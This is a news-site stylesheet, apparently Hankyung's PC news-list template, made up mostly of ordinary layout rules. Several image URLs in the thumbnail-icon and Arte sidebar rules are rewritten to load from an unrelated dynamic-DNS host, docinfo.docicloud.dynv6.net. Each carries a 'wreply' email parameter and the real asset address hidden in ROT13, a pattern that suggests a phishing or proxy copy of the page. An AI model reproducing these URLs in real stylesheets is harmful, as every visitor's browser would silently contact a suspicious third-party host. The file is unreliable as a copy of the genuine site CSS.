@charset "UTF-8";

/* 한경 뉴스리스트 공통 템플릿 PC
 * 2024.07
 */

/* reset */
img {max-width:100%}

/* skip nav */
.skip-navi a {display:block; height:0; margin:0 auto; overflow:hidden; font-size:0; text-align:center; background:#142c67; color:#fff}
.skip-navi a:hover, .skip-navi a:active, .skip-navi a:focus {height:30px; font-size:15px; line-height:30px}

/* ad */
.ad-area {position:relative; margin:40px 0; text-align:center}
.ad-area .ad-inner {display:flex; align-items:center; justify-content:center; max-width:970px; min-height:250px; margin:0 auto}
.ad-area .ad-label {margin-bottom:8px; font-size:12px; letter-spacing:0}
.ad-area.bg {padding:20px 0 40px; background:#f7f7f7}

/* common contents */
.thumb {position:relative; overflow:hidden}
.thumb > a {display:block; width:100%; height:100%}
.thumb img {width:100%; height:100%; object-fit:cover; object-position:center top}

.thumb > .thumb-icon {position:absolute; right:15px; bottom:15px; width:40px; height:40px; overflow:hidden; background-repeat:no-repeat; background-position:right bottom; background-size:contain; color:transparent; text-indent:-9999px; pointer-events:none; transform-origin:right bottom}
.thumb-icon.thumb-vod {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Spbzzba%2Svzt%2Svpba%2Svpba-guhzo-ivqrb.fit')}
.thumb-icon.thumb-audio {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Spbzzba%2Svzt%2Svpba%2Svpba-guhzo-nhqvb.fit')}
.thumb-icon.thumb-graph {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Spbzzba%2Svzt%2Svpba%2Svpba-guhzo-tencu.fit')}
.thumb-icon.thumb-photo {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Spbzzba%2Svzt%2Svpba%2Svpba-guhzo-cubgb.fit')}
.thumb-icon.thumb-slide {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Spbzzba%2Svzt%2Svpba%2Svpba-guhzo-fyvqr.fit')}
.aside .thumb > .thumb-icon {right:5px; bottom:5px; width:22px; height:22px}

.news-tit,
.lead {display:block; display:-webkit-box; text-overflow:clip; overflow:hidden; word-wrap:break-word; -webkit-box-orient:vertical}

.news-item {display:flex}
.news-item.type-thumb-lt {flex-direction:row-reverse}
.news-item > .txt-cont {flex:1 1 auto}
.news-item > .thumb {flex:0 0 auto}
.news-item .txt-date {font-size:12px}

.page-tit-wrap {margin-bottom:20px; padding-bottom:20px; border-bottom:1px solid #121212}
.page-tit-wrap .page-tit {font-size:24px}

/* layout */
.layout-inner {min-width:1200px; max-width:1200px; margin:0 auto}
.contents-grid {display:flex; justify-content:space-between; gap:80px; padding-top:40px}
.contents-grid .contents {flex:1 1 auto; width:calc(100% - 380px)}
.contents-grid .aside {flex:0 0 auto; position:relative; width:300px}

/* aside */
.aside .ad-area {margin:0}
.aside-inner {position:sticky; top:0; display:flex; flex-direction:column; gap:60px}
.aside-tit-wrap {margin-bottom:15px}
.aside-tit-wrap .aside-tit {font-size:20px}
.isSticky .aside-inner {top:140px}
.isSticky .container[style*="--fixedHeader-h"] .aside-inner {--container-pt:40px; top:calc(var(--fixedHeader-h) + var(--container-pt))}

.aside-list-thumb > li + li {margin-top:25px}
.aside-list-thumb .news-item {align-items:center; gap:10px}
.aside-list-thumb .news-item .thumb {flex:0 0 auto; width:88px; height:55px}
.aside-list-thumb .news-item .txt-cont {flex:1 1 auto; width:calc(100% - 98px)}
.aside-list-thumb .news-tit {max-height:44px; font-size:16px; line-height:22px; -webkit-line-clamp:2; word-break:break-all}
.aside-list-thumb .txt-date {margin-top:5px}

.aside-list-thumb.has-rank > li {display:flex; align-items:center; gap:10px}
.aside-list-thumb.has-rank > li > .num {flex:0 0 auto; min-width:12px; font-weight:bold; font-size:18px}
.aside-list-thumb.has-rank .news-item {flex:1 1 auto; width:calc(100% - 22px)}

.align-start {align-items:flex-start}
.align-center {align-items:flex-center}
.align-end {align-items:flex-end}

/* list */
.data-mag {padding:120px 0; font-weight:400; font-size:20px; text-align:center}

.news-list > li {padding:24px 0; border-bottom:1px solid #ddd}
.news-list > li:first-child {padding-top:0}
.news-list .news-item {display:flex; flex-direction:row-reverse; gap:16px}
.news-list .news-item > .text-cont {flex:1 1 auto; width:calc(100% - 256px); padding-top:10px}
.news-list .news-item > .thumb {flex:0 0 auto; width:240px; height:150px}
.news-list .news-item > .thumb::after {content:''; position:absolute; top:0; left:0; bottom:0; right:0; z-index:2; border:1px solid rgba(0,0,0,.1); box-sizing:border-box; pointer-events:none}
.news-list .news-tit {font-size:20px; line-height:1.4; -webkit-line-clamp:2}
.news-list .lead {margin-top:20px; font-size:14px; line-height:1.5; -webkit-line-clamp:2}
.news-list .txt-date {margin-top:20px}
.news-list .icon--member,
.news-list .icon--premium {vertical-align:-2px}

.news-list li.type-wide .news-item {flex-direction:column-reverse; gap:0}
.news-list li.type-wide .news-item > .thumb {width:820px; height:512px}
.news-list li.type-wide .news-item > .text-cont {position:relative; z-index:3; width:700px; padding:40px 60px 0; margin:-80px auto 0; background:#fff; box-sizing:border-box}
.news-list li.type-wide .news-item .news-tit {text-align:center; font-size:32px}
.news-list li.type-wide .news-item .lead {-webkit-line-clamp:2; margin:24px -30px 0}
.news-list li.type-wide .news-item .txt-date {margin:10px -30px 0}
.news-list:has(>li.type-wide:first-child) {margin-top:-21px}

.select-paging {margin-top:20px}

/* 아르떼 모듈 */
.aside-arte {padding:20px; border:1px solid #ddd; box-sizing:border-box; text-align:center}
.aside-arte .tit-box {padding-bottom:20px; border-bottom:1px solid #ddd}
.aside-arte .tit-box .point-txt {display:block; margin-bottom:16px; color:#917548}
.aside-arte .tit-box .logo-arte {height:36px}
.aside-arte .tit-box .point-txt, .aside-arte .txt-box {font-size:14px}
.aside-arte .txt-box {padding-top:16px; line-height:1.5; text-align:center}
.aside-arte .txt-box::after {content:''; display:block; width:200px; height:140px; margin:16px auto; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Sfrpgvba%2Svzt%2Svzt-tencuvp-negr.fit') no-repeat center/contain}
.aside-arte .txt-box strong {font-weight:700}
.aside-arte .btn-link {display:inline-block; height:37px; padding-left:16px; padding-right:12px; border-radius:40px; line-height:37px; color:#fff; font-size:14px; background-color:#917548}
.aside-arte .btn-link .txt::after {content:''; display:inline-block; width:20px; height:20px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Suxfgngvp.unaxlhat.pbz%2Serfbhepr%2Sjjj%2Syvfg%2Spff%2Sj%2Sqngn%3Nvzntr%2Sfit%2Okzy%2P%253Pfit%20kzyaf%3Q%27uggc%3N%2S%2Sjjj.j3.bet%2S2000%2Sfit%27%20jvqgu%3Q%2720%27%20urvtug%3Q%2720%27%20svyy%3Q%27abar%27%253R%253Pcngu%20fgebxr%3Q%27%2523sss%27%20fgebxr-yvarpnc%3Q%27ebhaq%27%20fgebxr-yvarwbva%3Q%27ebhaq%27%20q%3Q%27z7.5%2015%205-5-5-5%27%2S%253R%253P%2Sfit%253R") no-repeat 50% 50%/contain; vertical-align:-4px}

/* 상단 배너 영역 */
.contents .top-banner-wrap {margin-bottom:26px}
.contents .top-banner-wrap a {display:block}
.contents .top-banner-wrap img {width:100%; height:100%; object-fit:cover}

.hk-header + .top-banner-wrap {height:140px; background-color:#f6f2f9}
.hk-header + .top-banner-wrap img {width:100%; height:100%; object-fit:contain}
